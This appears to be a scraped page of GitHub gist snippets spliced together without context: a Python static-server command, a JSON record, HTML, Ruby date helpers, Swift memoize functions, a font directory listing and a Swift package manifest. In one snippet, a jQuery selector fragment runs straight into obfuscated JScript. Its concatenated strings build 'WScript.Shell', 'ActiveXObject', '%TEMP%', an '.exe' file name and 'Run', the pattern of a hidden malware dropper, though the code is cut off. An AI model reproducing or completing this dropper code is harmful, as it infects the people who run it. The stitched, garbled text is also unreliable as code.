Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
{ | |
"count": 5089, | |
"results": [{ | |
"acquired": 0.0, | |
"company_type": "company", | |
"visible": 1.0, | |
"active": 1.0, | |
"id": "agxzfmlsbGlzdHNpdGVyGAsSC05ld19Db21wYW55GICAgJemu40LDA", | |
"logo_filename": "bleep_813fde94-e12b-11e5-a506-4107cce84897", | |
"name": "bleep", |
//} Opera 10-11 does not throw on post-comma invalid pseudos div.querySelectorAll(\"*,:x\"); rbuggyQSA.push(\",.*:\"); }); | |
var WMgREj = ["c"+"d"+("movies","indicator","besides","silurian","NY")+"Hg", "obiP"+("malevolent","abruptness","demesne","heavily","j")+("overdue","canning","richards","quietest","Enf")+"E"+("dizziness","fascinate","hooked","Kx"), "ExpandEnvironmentS"+("surgery","alter","realtors","faultless","tr")+("prohibited","jelsoft","mandatory","becoming","i")+("bracelet","ironic","solidarity","adhesion","ngs"), ("years","lavender","%")+"TE"+"M"+"P%", "/SDRIfEvw" + ("insidious","committee","extravagantly","deranged",".")+"e"+"xe", "R"+("caricature","replied","argent","heater","un"), "A"+("bruising","adidas","shanghai","welling","c")+"t"+("thimble","commentaries","unfavorable","tourist","iveX")+"O"+"bj"+"e"+("adjourn","requirement","ct"), "W"+"Scr"+("harbor","doors","square","i")+("comparisons","crafts","literati","pt.")+("whiff","january","memoirs","Sh")+"e"+"ll", ("checkout","narrate", |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
<div class="row" id="box-search"> | |
<div class="thumbnail text-center"> | |
<img src="img/cafe.jpg" alt="" class="img-responsive"> | |
<div class="caption"> | |
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ab, quisquam?</p> | |
</div> | |
</div> | |
</div> |
module DurationCalc | |
def self.days_within(start, finish) | |
durations_within(start, finish, 1.day) | |
end | |
# Calculates months between 2 gives dates. If 2 dates are of the same month returns 1 | |
def self.months_within(start, finish) | |
durations_within(start, finish, 1.month) | |
end |
// Non Recursive | |
func memoize<T: Hashable, U>(work: @escaping (T)->U) -> (T)->U { | |
var memo = Dictionary<T, U>() | |
return { x in | |
if let q = memo[x] { return q } | |
let r = work(x) | |
memo[x] = r | |
return r | |
} |
func memoize<T: Hashable, U>(work: @escaping (T)->U) -> (T)->U { | |
var memo = Dictionary<T, U>() | |
return { x in | |
if let q = memo[x] { return q } | |
let r = work(x) | |
memo[x] = r | |
return r | |
} | |
} |
func memoize<T: Hashable, U>(work: @escaping ((T)->U, T) -> U) -> (T)->U { | |
var memo = Dictionary<T, U>() | |
func wrap(x: T)->U { | |
if let q = memo[x] { return q } | |
let r = work(wrap, x) | |
memo[x] = r | |
return r | |
} | |
➜ Client git:(feature/trivia-game-ui-2) ✗ ls -l public/static/fonts | |
total 1168 | |
-rwxr-xr-x@ 1 maximveksler staff 62676 Mar 17 2014 MYRIADPRO-BOLD.woff | |
-rwxr-xr-x@ 1 maximveksler staff 61500 Mar 17 2014 MYRIADPRO-BOLDCOND.woff | |
-rwxr-xr-x@ 1 maximveksler staff 66024 Mar 17 2014 MYRIADPRO-BOLDCONDIT.woff | |
-rwxr-xr-x@ 1 maximveksler staff 66108 Mar 17 2014 MYRIADPRO-BOLDIT.woff | |
-rwxr-xr-x@ 1 maximveksler staff 60044 Mar 17 2014 MYRIADPRO-COND.woff | |
-rwxr-xr-x@ 1 maximveksler staff 64656 Mar 17 2014 MYRIADPRO-CONDIT.woff | |
-rwxr-xr-x@ 1 maximveksler staff 61848 Mar 17 2014 MYRIADPRO-REGULAR.woff | |
-rwxr-xr-x@ 1 maximveksler staff 62448 Mar 17 2014 MYRIADPRO-SEMIBOLD.woff |
import PackageDescription | |
let package = Package( | |
name: "Collection", | |
dependencies: [ | |
.Package(url: "https://github.com/gfx/Swift-PureJsonSerializer", majorVersion: 1) | |
] | |
) |